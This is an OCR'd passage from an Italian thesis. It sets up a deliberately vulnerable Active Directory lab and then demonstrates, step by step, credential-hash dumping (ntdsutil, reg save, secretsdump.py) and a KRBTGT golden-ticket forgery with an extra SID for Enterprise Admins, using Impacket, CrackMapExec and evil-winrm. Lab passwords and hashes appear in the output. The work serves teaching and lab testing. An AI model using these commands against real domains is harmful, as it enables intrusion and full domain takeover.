cificati il file inventory, col parametro -i, e main.yml, il main del playbook[52]. 1l caricamento
di un modulo viene segnalato con la keyword PLAY. Si puo vedere nell’immagine che ¢ stato
caricato come primo modulo quello che si occupa dei common-setups. Per ogni modulo sono
poi segnalate le varie operazioni con TASK. Per ogni modulo viene sempre eseguito in auto-
matico per primo il Gathering Facts, che rappresenta una serie di operazioni preliminari che
Ansible deve eseguire prima di iniziare con quelle specificate. In questo caso si vede che, suc-
cessivamente, viene eseguito il cambio dell’ hostname e il reboot, come anticipato nel paragrafo
precedente. Si noti, inoltre, che viene segnalata per ogni operazione il risultato per ciascuna
macchina; in questo caso tutte e tre sono state eseguite su entrambi gli host. La prima ha dato
come risultato ok, cio¢ operazione che non esegue modifiche eseguita correttamente, mentre le
ultime due sono segnalate con changed che significa che operazioni che eseguono modifiche

sono andate a buon fine.
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PLAY [Set up AD environment in DCs] #kxskskskksskskkskbkknhkskkhh ko Rk hoh bk KR KKK KK KKK

TASK [Gathering Facts] #¥#ssksksskskkbkkkskhiihimthtdfdtddodfokokkkk koo ok

ok: [dcO1]
ok: [dc02]

TASK [roles/domain_controller : Install AD-Domain-Services] *¥iickfiiokikkiookikk
changed: [dc02]
changed: [dc01]

TASK [roles/domain contraoller : Reboot] #¥kskskd ks sokdor ok ok aokh 5ok KA AR F R K

skipping: [dc@1]
skipping: [dc®2]

Figura 54: Output installazione #2.

Il secondo modulo caricato ¢ quello che installa le componenti [Active Directory| sulle mac-

chine rarget, i |Domain Controller, Si noti che nell’operazione di reboot ¢ stato dato come

risultato skipped, che significa che 1I’operazione non ¢ stata eseguita in quanto non necessaria.

PLAY [Create Forest DCJ *#skkkkskrkskkkskrkokkkkokhkohkk ok sk ok kok ook 6ok koo ko ok ok ko ok ok ok

TASK [Gathering Facts] kkstksskskkomiohsskokskorbdk ok h o kokkohoh o sk skkohob ok okkok ko ok kR

ok: [dcO1]

TASK [roles/domain_controller parent : Set DNS server] *kfxkkiokssokirioftrsfrorttok
changed: [dc01]

TASK [roles/domain_controller parent : Create Forest] *®kfxkkiiokssokirifirsttorttok
changed: [dc01]

TASK [roles/domain_controller parent : reboot server] ¥rkfxdkiiokssokiioftrsfrortiok
changed: [dc01]

Figura 55: Output installazione #3.

Successivamente ¢ caricato il modulo che permette la creazione della foresta. Si noti che

queste operazioni sono eseguite, come segnalato, solo sull’host dc01, il [Domain Controllen

padre.
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PLAY [Join Child DC] ¥ sk koksbkhhsk ok koo sk hdohohook ook ook ook kfokk ook koo ok

TASK [Gathering Facts] ket fororior koot Rkl okkohooR R kkook kK

ok: [dc02]

TASK [roles/domain_controller child : Set internal DNS server] f#xkdsikssssrorsk
changed: [dc02]

TASK [roles/domain_controller child : Join Child to Forest] ##®k#skksickskksrrtik
changed: [dc02]

TASK [roles/domain_controller child : Waiting...] ##®ksrkiskksoktskkomoktrktortiok
Pausing for 120 seconds

(ctrl+C then 'C' = continue early, ctrl+C then 'A' = abort)

ok: [dc02]

TASK [roles/domain controller child : Waiting for connection] ikekiicrikfdookirk
FAILED - RETRYING: Waiting for connection (20 retries left).

FAILED - RETRYING: Waiting for connection (19 retries left).

FAILED - RETRYING: Waiting for connection (18 retries left).

FAILED - RETRYING: Waiting for connection (17 retries left).

FAILED - RETRYING: Waiting for connection (16 retries left).

FAILED - RETRYING: Waiting for connection (15 retries left).

FAILED - RETRYING: Waiting for connection (14 retries left).

FAILED - RETRYING: Waiting for connection (13 retries left).

changed: [dc02]

Figura 56: Output installazione #4.

Viene poi caricato il modulo che effettua il join tra figlio e padre; anche in questo caso
le operazioni sono svolte solo su un host, in particolare dcO2. Come anticipato nel paragrafo
precedente questo ¢ il modulo piu complesso; ¢ quello che effettua la riconnessione piu volte
per aggirare il bug presente in alcune versioni di Windows Server. In questo caso il test sulla

riconnessione ¢ stato effettuato otto volte prima di andare a buon fine.

PLAY [Set up Known user] #sksksksrsskokskhortdkskok koot okt sk ok kb ok kok otk sk ok ko £ ok ok

TASK [Copy SCript] ®¥¥kskkksrtksskskhs ks khk ko kkkok bk KRR KA AR AR AR AR A K
changed: [dc02]

TASK [RUN SCript] *x¥ssskkrstdsskskhs sk khk kR kkohok ko KRRk KRR ARk K
changed: [dc02]

TASK [Remove VULN SCript] ®¥k#kkksrkskshkkkk ks kkhk ko kkkh kb ok KRRk AR KRR AR AR AR AR
changed: [dc02]

Figura 57: Output installazione #5.

Viene poi caricato ed eseguito lo script che configura I’utente noto.
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PLAY [Shutdown VMs] Hokok kK *k *k *k % % sk *

TASK [Gathering Facts] #****xx* Hkok *% *k *k *k Kk Sk *
ok: [dc02]
ok: [dcOl]
TASK [Shutdown] ** ETTY ETTY * % * % * % * % * % *kk *

changed: [dc01]
changed: [dc02]

PLAY RECAP **¥x¥x¥x * k% * k% * % * % * % * % * % * k% *
dec0l : ok=11 changed=7 unreachable=0 failed=0 skipped=1 rescued=0 ignored=0
dc02 : ok=15 changed=10  unreachable=0 failed=0 skipped=1 rescued=0 ignored=0

Figura 58: Output installazione #6.

Infine viene caricato il modulo di reboot e riavviate tutte le macchine. Nell’ultima parte

dell’output ¢ presentata una sintesi dei risultati ottenuti per tutte le operazioni eseguite.

Il Iaboratorio ¢ stato installato e configurato correttamente. Nel prossimo capitolo saranno
presentati step-by-step le operazioni che devono essere eseguite per compromettere uno scenario

come quello descritto e di come fare per renderlo sicuro.
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S Risultati Sperimentali

In questo capitolo vengono presentati i risultati sperimentali derivanti dalle operazioni di

attacco e di difesa previste nel laboratorio creato dal playbook.

Le seguenti operazioni sono da considerarsi effettuate, se non specificato diversamente, in
un laboratorio composto da 2 [VMfs in Cloud Amazon; le macchine rappresentano i [D( con
le configurazioni presentate nei capitoli precedenti; il sistema operativo su di esse montato ¢
Windows Server 2016. Altri test, precedenti a quello qui riportato, sono stati eseguiti in un
laboratorio locale composto da sistemi Windows Server 2019. Tutte le operazioni di attacco

sono eseguite da macchina Kali Linux locale.

Per semplicita sono state utilizzate tutte le configurazioni di default del playbook, per cui:

1. i due domini padre e figlio sono rispettivamente hacklab.local e corp.hacklab.local.

2. 1 due [Domain Controllery hanno come hostname rispettivamente DC0O1 e DCO02 per cui
i loro [Fully Qualified Domain Name| (FODN) sono rispettivamente dc0I.hacklab.local e
dc02.corp.hacklab.local.

3. gli indirizzi di ogni[D(| coincidono con i loro

4. nel dominio figlio ¢ presente 1’utente devis.cook con password cokezerol; possiede i

privilegi di Domain Admins nel dominio corp.hacklab.local.

Affinché sia possibile effettuare gli attacchi previsti, ¢ necessario configurare correttamente
la macchina Linux che verra utilizzata per portare a termine le operazioni offensive. In parti-
colare & fondamentale sia configurare 1’associazione indirizzo ip - [FODN]sia sincronizzare la

macchina attaccante con 1’orario utilizzato all’interno della foresta.

L’associazione tra gli indirizzo ip dei due|Domain Controllene iloro|Fully Qualified Domain|

[Name| pud essere creata andando a configurare il file /etc/hosts all’interno della macchina Linux
utilizzata per gli attacchi. Questo file permette di effettuare la risoluzione di un indirizzo ip nel
corrispondente host in locale, prima di qualsiasi richiesta a livello di rete, query compresa.
E’ necessario inserire nel file una linea per ogni[D(Jin cui sono presenti ip e separati da

almeno uno spazio:

[+ root@kali: ~

GNU nano 7.2 /etc/hosts

15.223.74.108 dc0l.hacklab.local
3.96.202.13 dc02.corp.hacklab. local

Figura 59: File /etc/hosts .
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Per sincronizzare I’orologio della macchina attaccante con quello della foresta puo esse-

re utilizzato il protocollo di gestione degli orologi [Key Distribution Center| (KDC)), presentato

nell’Introduzione all’ Active Directory. Questo protocollo ¢ servito sulla porta 123/TCP da en-

trambi i[Domain Controller| (DC), che si mantengono sincronizzati tra di loro. Di conseguenza

la scelta del server con cui sincronizzarsi ¢ marginale. Uno dei fool a linea di comando che puo
essere utilizzato ¢ ntpdate[S3l]. Il comando da utilizzare ¢ ntpdate < indirizzodelserver > come

si puo vedere nella figura successiva.

:~# ntpdate dcB2.corp.hacklab.local

— B = |l . ntpdate[2193]: step time server 3.96.202.13 offset +0.741492 sec
T~

Figura 60: Output ntpdate .

Una volta configurata anche la macchina kali Linux attaccante si possono confermare tutte
le informazioni precedentemente presentate utilizzando il tool CrackMapExec[54] presentato
di seguito. Questo & uno dei fool pill utilizzati per interfacciarsi con un’infrastrutturaActive Di]
durante un Pentesting o un generico attacco. Composto da molteplici moduli, ¢ efficace

sia durante le fasi di Enumeration sia in quelle di Exploitation.

# ./cme smb dcOl.hacklab.local -u devis.cook -p cokezerol
dc@l.hacklab.local 445 DCol Windows Server 2016 Datacenter 14393 x64 (name:DCO1) (domain:hacklab.
local) (signing:True) (SMBv1:True)
dcO1.hacklab.local 445 DCO1 hacklab.local\devis.cook:cokezerol STATUS LOGON_ FAILURE

# ./cme smb dc02.corp.hacklab.local -u devis.cook -p cokezerol
dc02.corp.hacklab.local 445 DCO2 Windows Server 2016 Datacenter 14393 x64 (name:DC02) (domain:cor
p.hacklab.local) (signing:True) (SMBvl:True)
dc02.corp.hacklab.local 445 DCO2 [+] corp.hacklab.local\devis.cook:cokezerol (Pwn3d!)
#

Figura 61: Output CrackMapExec #1.

I parametri utilizzati sono:

» smb : permette di scegliere la modalita che sfrutta il protocollo [SMB
* <indirizzo > : specifica I’'indirizzo del farget.

* -u: specifica I’username dell’utente da utilizzare per la query.

* -p: specifica la password dell’utente da utilizzare per la query.

Nell’ output vediamo un messaggio di STATUS_LOGON _FAILURE quando I’indirizzo specifi-

cato ¢ dc0l.hacklab.local, in quanto nel dominio padre I’utente devis.cook non esiste. Invece

si ottiene un messaggio positivo quando la query viene effettuata al |Domain Controller| del

dominio figlio.
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Di seguito un altro screenshot dell’ output di CrackMapExec[54]: in questo caso sono stati
utilizzati anche il parametro -x, che permette di specificare un comando da eseguire nel target, e
il parametro —exec-method che specifica la tecnica da utilizzare per I’esecuzione del comando.
Sono stati specificati rispettivamente net group Domain Admins e smbexec. 1l primo ¢ il coman-
do con cui si ottiene una lista degli utenti facenti parte del gruppo Domain Admins. 11 secondo

¢ uno dei metodi piu veloci per eseguire comandi se si hanno 1 privilegi necessari.

B # ./cme smb dc02.corp.hacklab.local -u devis.cook -p cokezerol -x 'net group
"Domain Admins"' --exec-method smbexec

dc02.corp.hacklab.local 445 DCO2 Windows Server 2016 Datacenter 14393 x64 (name:DC02) (domain:cor
p.hacklab.local) (signing:True) (SMBv1l:True)

dc02.corp.hacklab.local 445 DCO2 [+] corp.hacklab.local\devis.cook:cokezerol (Pwn3d!)

dc02.corp.hacklab.local 445 DCO2 [+] Executed command via smbexec

dc02.corp.hacklab.local 445 DCO2 Group name Domain Admins

dc02.corp.hacklab.local 445 DCO2 Comment Designated administrators of the domain

dc02.corp.hacklab.local 445 DCO2

dc02.corp.hacklab.local 445 DCO2 Members

dc02.corp.hacklab.local 445 DCO2

dc02.corp.hacklab.local 445 DCO2

dc02.corp.hacklab.local 445 DCO2 Administrator devis.cook
dc02.corp.hacklab.local 445 DCO2 The command completed successfully.

Figura 62: Output CrackMapExec #2.

Nell’output ¢ possibile notare che 1’utente devis.cook fa effettivamente parte del gruppo

Domain Admins nel dominio figlio.
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5.1 Condizioni di attacco e dump degli Hash

Per poter eseguire gli attacchi presentati sono necessarie determinate precondizioni.
Le soluzioni proposte prevedono I’utilizzo della collezione di tool Impacket[SS] per Linux e
dei software Windows integrati. A tal fine ¢ essenziale utilizzare nella macchina attaccante
I’ultima versione di Impacket[S35]] rilasciata; in questo caso ¢ stata utilizzata la versione 0.70.0,
la pit recente nel momento in cui questa tesi ¢ stata scritta. Tutte le versioni precedenti a questa
sono da considerarsi non utilizzabili in quanto il playbook ¢ pensato per essere utilizzato su
macchine Windows Server con tutti gli update e le patch disponibili. Si ricorda, infatti, che le
vulnerabilita non sono indotte ma sono gia presenti nelle installazioni di default. Viene citato,

senza entrare in argomenti che esulano dall’obiettivo di questa tesi, che il nuovo formato del

[Privileged Attribute Certificate| [PAC) rilasciato nel 2021 a seguito della vulnerabilita conosciuta
come [CVE}2021-42287[56]] rende le versioni di Impacket[55] precedenti obsolete.

Un’altra condizione ¢ la conoscenza dei sia del dominio figlio, sia del dominio padre;
queste informazioni sono molto semplici da ottenere, € necessario possedere un account utente
di qualsiasi tipo in uno dei due domini. Nel caso discusso, I'utente devis.cook ¢ presente nel

dominio figlio.

L’ultima condizione, e quella piu importante e difficile da raggiungere, ¢ avere la possi-
bilita di effettuare il dump degli hash nel [D(] nel dominio figlio. Per poter effettuare questa
operazione bisogna disporre di un utente appartenente a un gruppo di amministrazione come
Administrators, Domain Admins, Enterprise Admins oppure a un gruppo speciale, come il Bac-
kup Operators. Nel caso discusso, I’utente devis.cook ¢ un Domain Admins nel dominio figlio
per cui possiede i privilegi per eseguire questa operazione. E’ possibile effettuare il dump degli

hash sia localmente che da remoto; entrambe le soluzioni verranno presentate successivamente.
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5.1.1 SID Lookup

Per ottenere i[SID|dei due domini possiamo utilizzare lo script Impacket[55] lookupsid.py.

I parametri richiesti sono dominio\utente:password@indirizzo.

8 # python3 lookupsid.py corp.hacklab.local/devis.cook:cokezerol@dc62.corp.hacklab.local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Brute forcing SIDs at dc@2.corp.hacklab.local
[*] StringBinding ncacn np:dc02.corp.hacklab.local[\pipe\lsarpc]
[*] Domain SID is:|S-1-5-21-4206347020-1692389405-2219441613
: CORP\Administrator (SidTypeUser)
CORP\Guest (SidTypeUser)
CORP\krbtgt (SidTypeUser)
CORP\DefaultAccount (SidTypeUser)
: CORP\Domain Admins (SidTypeGroup)
: CORP\Domain Users (SidTypeGroup)
: CORP\Domain Guests (SidTypeGroup)
: CORP\Domain Computers (SidTypeGroup)
CORP\Domain Controllers (SidTypeGroup)
CORP\Cert Publishers (SidTypeAlias)
CORP\Group Policy Creator Owners (SidTypeGroup)
: CORP\Read-only Domain Controllers (SidTypeGroup)
: CORP\Cloneable Domain Controllers (SidTypeGroup)
: CORP\Protected Users (SidTypeGroup)
: CORP\Key Admins (SidTypeGroup)
: CORP\RAS and IAS Servers (SidTypeAlias)
: CORP\Allowed RODC Password Replication Group (SidTypeAlias)
: CORP\Denied RODC Password Replication Group (SidTypeAlias)
: CORP\DC0O2$ (SidTypeUser)
: CORP\DnsAdmins (SidTypeAlias)
: CORP\DnsUpdateProxy (SidTypeGroup)
: CORP\HACKLAB$ (SidTypeUser)
: CORP\devis.cook  (SidTypeUser)

Figura 63: Output lookupsid.py per corp.hacklab.local .

Si puo vedere nel rettangolo evidenziato piu in alto I'indirizzo del DCO2. In quello sot-
tostante il del dominio corp.hacklab.local richiesto: S-1-5-21-4206347020-1692389405-
2219441613.

Infine nel rettangolo piu in basso possiamo leggere il dell’utente devis.cook, 1112, che sara
fondamentale in uno dei due attacchi descritti successivamente.

R # python3 lookupsid.py corp.hacklab.local/devis.cook:cokezerol@dc®l.hacklab.local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Brute forcing SIDs at dcOl.hacklab.local
[*] StringBinding ncacn np:dc@1l.hacklab.local[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2886521826-4274546746-3180030028
498: HACKLAB\Enterprise Read-only Domain Controllers (SidTypeGroup)
: HACKLAB\Administrator (SidTypeUser)
ACKLAB\Guest (SidTypeUser)
ACKLAB\krbtgt (SidTypeUser)
ACKLAB\DefaultAccount (SidTypeUser)
: HACKLAB\Domain Admins (SidTypeGroup)
: HACKLAB\Domain Users (SidTypeGroup)
: HACKLAB\Domain Guests (SidTypeGroup)
: HACKLAB\Domain Computers (SidTypeGroup)
: HACKLAB\Domain Controllers (SidTypeGroup)
: HACKLAB\Cert Publishers (SidTypeAlias)
: HACKLAB\Schema Admins (SidTypeGroup)
: HACKLAB\Enterprise Admins (SidTypeGroup)
: HACKLAB\Group Policy Creator Owners (SidTypeGroup)
: HACKLAB\Read-only Domain Controllers (SidTypeGroup)
: HACKLAB\Cloneable Domain Controllers (SidTypeGroup)
: HACKLAB\Protected Users (SidTypeGroup)
: HACKLAB\Key Admins (SidTypeGroup)
ACKLAB\Enterprise Key Admins (SidTypeGroup)
ACKLAB\RAS and IAS Servers (SidTypeAlias)
: HACKLAB\Allowed RODC Password Replication Group (SidTypeAlias)
: HACKLAB\Denied RODC Password Replication Group (SidTypeAlias)
1008: HACKLAB\DCO1$ (SidTypeUser)
1109: HACKLAB\DnsAdmins (SidTypeAlias)

Figura 64: Output lookupsid.py per hacklab.local.

In questa seconda operazione nel rettangolo piu in alto € presente 1’indirizzo del DCO1. Sot-
to & presente il[STD|del dominio hacklab.local : S-1-5-21-2886521826-4274546746-3180030028.
Lultimo rettangolo contiene invece il del gruppo di cui si vogliono ottenere i privilegi:

Enterprise Admins, che ¢ identificato col numero 519 (quello di default).
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5.1.2 Dump locale

Per eseguire il dump degli hash puo essere utilizzato un approccio locale per cui gli hash
vengono crittografati e salvati in speciali file sulla macchina remota. Successivamente viene fat-
to il download di tali file e lo script Impacket[355|] secretsdump.py puo essere usato per ottenere
gli hash.

Negli esempi successivi viene utilizzato il tool evil-winrm[57]] per ottenere una powershell
remota su DCO2. Questo tool utilizza il protocollo HTTP Winrm sulla porta 5985. Essendo
devis.cook un utente Domain Admins, ha di default 1a possibilita di ottenere una powershell
remota utilizzando le proprie credenziali sul[D(] del suo dominio, in questo caso DCO2.

Il primo file che viene scaricato ¢ NTDS.dit che puo essere salvato col comando:
ntdsutil.exe "ac i ntds’ ’ifim’ "create full c:\temp’ q q[58].

PS C:\Users\devis.cook\Documents> hostname
DCO2
PS C:\Users\devis.cook\Documents> whoami
corp\devis.cook
PS C:\Users\devis.cook\Documents> ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' gq q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {385e5537-2978-4507-96bd-a8752161cb8d} generated successfully.
Snapshot {274b8a9c-8253-49ed-bf55-0f33ead65c8c} mounted as C:\$SNAP_ 202308151022 VOLUMEC$\
Snapshot {274b8a9c-8253-49ed-bf55-0f33ead65c8c} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202308151022 VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)

Copying registry files...

Copying c:\temp\registry\SYSTEM

Copying c:\temp\registry\SECURITY

Snapshot {274b8a9c-8253-49ed-bf55-0f33ead65c8c} unmounted.

Figura 65: Dump NTDS.dit

Il secondo file che viene scaricato ¢ system.save. Si puo ottenere a partire dai registri col

comando: reg save hklm\ system system.save[59]].

PS C:\Users\devis.cook\Documents> hostname

PS C:\Users\devis.cook\Documents> whoami
corp\devis.cook

PS C:\Users\devis.cook\Documents> reg save hklm\system system.save
The operation completed successfully.

PS C:\Users\devis.cook\Documents> 1ls

Directory: C:\Users\devis.cook\Documents

Mode LastWriteTime Length Name

8/15/2023 10:27 AM 18161664 system.save

Figura 66: Dump system.save.
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Una volta che i due file sono stati scaricati nella macchina Linux puo essere utilizzato lo
script Impacket[55|] secretsdump.py per estrarre gli hash. Quelli interessanti per gli attacchi
successivi sono i krbtgt ¢ HACKLABS che rappresentano rispettivamente quelli degli account
KRBTGT del dominio locale e TRUST per il dominio hacklab.local.

: # python3 secretsdump.py -just-dc -ntds ntds.dit -system system.save local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

Target system bootKey: 0x49118e7c41120e6d22d8c07ce0c9a2dl

Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

Searching for pekList, be patient

PEK # 0 found and decrypted: 149d26edcd4b1bb88677e92977efalfo

Reading and decrypting hashes from ntds.dit
DCO1$:16008:aad3b435b51404ecaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:753a885eabbeed7ef6cd55a6f1abl034: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢O: : :
DCO2%:1008: aad3b435b51404eeaad3b435b51404ee:93c2bbef7e68577d331f8eb58 fe7fa2
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0091639106e0487d867e00fcd98b8763: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31docfe0d16ae931b73c59d7€0c089¢O: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cO89c
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0: : :
CORP$:1111:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c
HACKLAB$:1111:aad3b435b51404eeaad3b435b51404ee: b3ce5f1lea61460d993d3d2091fed451ca:: :
corp.hacklab.local\devis.cook:1112:aad3b435b51404eeaad3b435b51404ee:0e39efacla23492e76875ed84ba3e445: ::

Figura 67: Output secretsdump.py #1.

[*] Kerberos keys from ntds.dit
DCO2$:aes256-cts-hmac-shal-96:13495e6e485bde677395718a999575cc327d529b49cc0f1273d5025¢3126968¢
DCO2$:aes128-cts-hmac-shal-96:684a31241db87297241d6179a0dfec3e
DCO2$:des-cbc-md5:922575a4da857929
krbtgt:aes256-cts-hmac-shal-96:914c2775bc23ab269fc8e7623a925e8aed693851af579748412c6105d7602d21
krbtgt:aesl28-cts-hmac-shal-96:bbaab6a63fa8544875d97ad3bad79d37
krbtgt:des-cbc-md5:403bc4b6d6457964

HACKLABS%: aes256-cts-hmac-shal-96:6dc5f0cb16cda542b0fa409e1737bccl19a5850f2da42d4defd3ead d22ebb

HACKLABS$: aes128-cts-hmac-shal-96:06904d5a397d206bcecOec70a76ceb94

HACKLAB$:des-cbhc-md5:0dc8e332974a5e80

corp.hacklab.local\devis.cook:aes256-cts-hmac-shal-96: f1d9cb3a4cd66fbb6312199f6200c4677dad2bb81ff10381f857b0f135ch7a5¢
corp.hacklab.local\devis.cook:aes128-cts-hmac-shal-96:0c731724bc2eb71a37af7a48461767b6
corp.hacklab.local\devis.cook:des-cbhc-md5:1fd6a7078c159834

[*] Cleaning up...

Figura 68: Output secretsdump.py #2

I parametri utilizzati sono:

* -just-dc : permette di estrarre gli hash salvati solo nel[DC]
* -ntds : indica il path del file ntds.dit .

* -system : indica il path del file system.save.

* local : indica che I’operazione deve essere eseguita localmente.
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5.1.3 Dump remoto

Il dump degli hash puo essere eseguito anche da remoto, con Impacket[55)] secretsdump.py,
nel caso vi siano le condizioni adeguate per farlo. Il protocollo che viene utilizzato ¢ DRSUAPI,
che utilizza porte dinamiche per la replicazione dei dati[60]. Come conseguenza, la presenza di
un Intrusion Detection System, di un Intrusion Prevention System o di un firewall che filtra tali
porte potrebbe non permettere I’operazione.

Comunque, di seguito, viene proposto un test eseguito in un laboratorio /ocale di macchine
Windows Server 2019, dove le porte non erano filtrate.

8 # python3 secretsdump.py -just-dc-ntlm -dc-ip dc@2.corp.hacklab.local corp.hacklab.local/
devis. cook:cokezerol@dc02.corp.hacklab.local

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee: 7facdc498ed1680c4Td1448319a8c04f: : :

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4aecc0698781b95fc61a215fa6d45176: : :
corp.hacklab.local\devis.cook:1103:aad3b435b51404eeaad3b435b51404ee: 0e39efacla23492e76875ed84ba3e445: : :
DCO2$:1000: aad3b435b51404ecaad3b435b51404ee:6477f7f4bcee8191cfe04266714178c0: : :

HACKLAB$: 1104 : aad3b435b51404eeaad3b435b51404ee:b19€9280499071130bf1lc4a5a92e2447: : :

[*] Cleaning up...

Figura 69: Dump remoto con secretsdump.py .

I parametri utilizzati sono:

* -just-dc-ntlm : permette di estrarre gli hash NTLM salvati solo nel[DC]

* -dc-ip : permette di specificare il [D(]a cui richiedere il trasferimento dei dati, in questo
caso DCO02, il[D( del dominio figlio.

o target : dominio\utente:password@indirizzo da cui ottenere il dump; nel caso in esame

viene utilizzato

corp.hacklab.local\devis.cook:cokezerol @dc02.corp.hacklab.local; I’indirizzo specifica-

to ¢ quello di DCO02, per cui sono ottenuti gli hash salvati in questa macchina.
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5.2 KRBTGT Golden Ticket Attack

L attacco eseguito utilizzando il Golden Ticket forgiato con I’hash KRBTGT ¢ composto da

varie fasi.

& /\
(+ extra-sid) / \
/] N
@ 2 -KRBTGT Golden Ticket / \\

(+ extra-sid) / \

/ 2 - Inter-realm TG/ / Dcot \
/ (+ extra-sid) / dc01.hacklab local \

hacklab.local

T 3.Interrealm TGT _
(+ extra-sid) —'-———_______'
G \ 3-8T / \
\ (+ extra-sid)\ / \
4-8T
(+ extra-sid) // \\\
4 - File-system acces\ / \

T~/ e \

dc02.corp.hacklab.local

corp.hacklab.local

Figura 70: Schema attacco con KRBTGT Golden Ticket.

Inizialmente si utilizza I’hash dell’account KRBTGT per forgiare localmente un parti-
colare. Al suo interno deve essere iniettato I’ extra-sid che permetta di ottenere privilegi arbitrari
nel dominio scelto. Nell’esempio verra iniettato il gruppo Enterprise Admins per il dominio
hacklab.local.

Per questo attacco ¢ essenziale che il venga creato per un utente esistente nel dominio
figlio, altrimenti il di tale dominio rifiutera il ticket definendolo non valido.

Successivamente viene richiesto al [DC del dominio figlio, in questo caso DC02, un [S7]che
coincide con I'inter-realm che permette 1’ autenticazione presso il [DC del dominio in cui

si vogliono scalare i privilegi, in questo caso DCO1.

Una volta ottenuto il ticket che permette 1’autenticazione presso il [DC] nel dominio padre,

si richiede un [S7] per usufruire di un servizio che permetta di eseguire operazioni privilegiate.

Nel caso in esame verra richiesto il servizio [Common Internet File System|({CIFS) che consente

I’accesso, con i privilegi ottenuti, ai file del [DC| del dominio padre.

Con i permessi ottenuti grazie al [S7] pud essere eseguito il dump degli Hash del dominio
padre o ottenuta una shell presso il suo [DC} in questo modo si sono effettivamente guadagnati

1 privilegi massimi all’interno della foresta.
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5.2.1

KRBTGT Golden Ticket Forgery

Per forgiare il[TGT| con I’ extra-sid viene utilizzato lo script Impacket[55]] ticketer.py . Que-

st’ultimo permette di creare un ticket ad hoc localmente, specificando 1’hash da usare per la

crittografia.

[*]
[*]
I8
[*]
[*]
[*]

[*]

# python3 ticketer.py -spn krbtgt/corp.hacklab.local -domain corp.hacklab.local -domain-s
id S-1-5- 21 4206347020-1692389405-2219441613 -aesKey 914c2775bc23ab269fc8e7623a925e8aed693851af579748412c6105d7602d21 -extra-sid
S-1-5-21-2886521826-4274546746-3180030028-519 -user-id 1112 devis.cook

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

Creating basic skeleton ticket and PAC Infos
Customizing ticket for corp.hacklab.local/devis.cook
PAC_LOGON_INFO
PAC_CLIENT INFO TYPE
EncTicketPart
EncAsRepPart
Signing/Encrypting final ticket
PAC_SERVER_CHECKSUM
PAC_PRIVSVR_CHECKSUM
EncTicketPart
EncASRepPart
Saving ticket in devis.cook.ccache

# mv devis.cook.ccache devis.cook.TGT

Figura 71: Output ticketer.py - (KRBTGT Attack).

I parametri utilizzati sono:

A

-spn : permette di specificare il servizio di cui si vuole ottenere il ticket; in questo caso
viene utilizzato krbtgt/corp.hacklab.local che permette I’ autenticazione presso il dominio

corp.hacklab.local.
-domain : permette di specificare il dominio figlio, in questo caso corp.hacklab.local.

-domain-sid : permette di specificare il del dominio figlio; in questo caso viene uti-
lizzato S-1-5-21-4206347020-1692389405-2219441613, ottenuto tramite il SID lookup

precedente.

-aesKey : permette di specificare 1’hash, in formato AES, che verra utilizzato per crit-
tografare il ticket; in questo caso viene inserito quello dell’account KRBTGTS$. Si puo

specificare ’hash anche usando il parametro -nthash nel caso in cui il formato sia NT.

-extra-sid : permette di specificare il da iniettare; il formato del deve essere
dominio padre - gruppo che si vuole impersonare. In questo esempio viene utilizzato
S-1-5-21-2886521826-4274546746-3180030028-519 dove 519 ¢ il del gruppo En-
terprise Admins ottenuto tramite il SID lookup gia proposto, mentre la parte precedente ¢

il del dominio padre, hacklab.local, ottenuto con la medesima operazione.

-user-id : permette di specificare I’ID dell’utente per cui viene forgiato il ticket; nel caso

in esame ¢ /712, I'ID di devis.cook, ottenuto tramite il SID lookup gia proposto.

username : nome utente per cui viene forgiato il ticket, in questo caso devis.cook.

operazione conclusa & stato ottenuto il ticket devis.cook. TGT, il per I'utente de-

vis.cook, che contiene al suo interno I’extra-sid. Permette 1’autenticazione presso il dominio

corp.hacklab.local
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5.2.2 Inter-realm TGT Request

Per richiedere 1'inter-realm che permetta I’autenticazione presso il dominio padre
viene utilizzato lo script Impacket[55] getST.py . Quest’ultimo permette di richiedere ticket

legittimi a un[D( specificato, in questo caso quello del dominio figlio.

B # KRB5CCNAME=devis.cook.TGT python3 getST.py -spn krbtgt/hacklab.local -no-pass -k -dc-ip
dc02.corp.hacklab.local corp.hacklab.local/devis.cook
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Getting ST for user
[*] Saving ticket in devis.cook.ccache

# mv devis.cook.ccache devis.cook.interTGT

Figura 72: Output getST.py #1 - (KRBTGT Attack).

I parametri utilizzati sono:
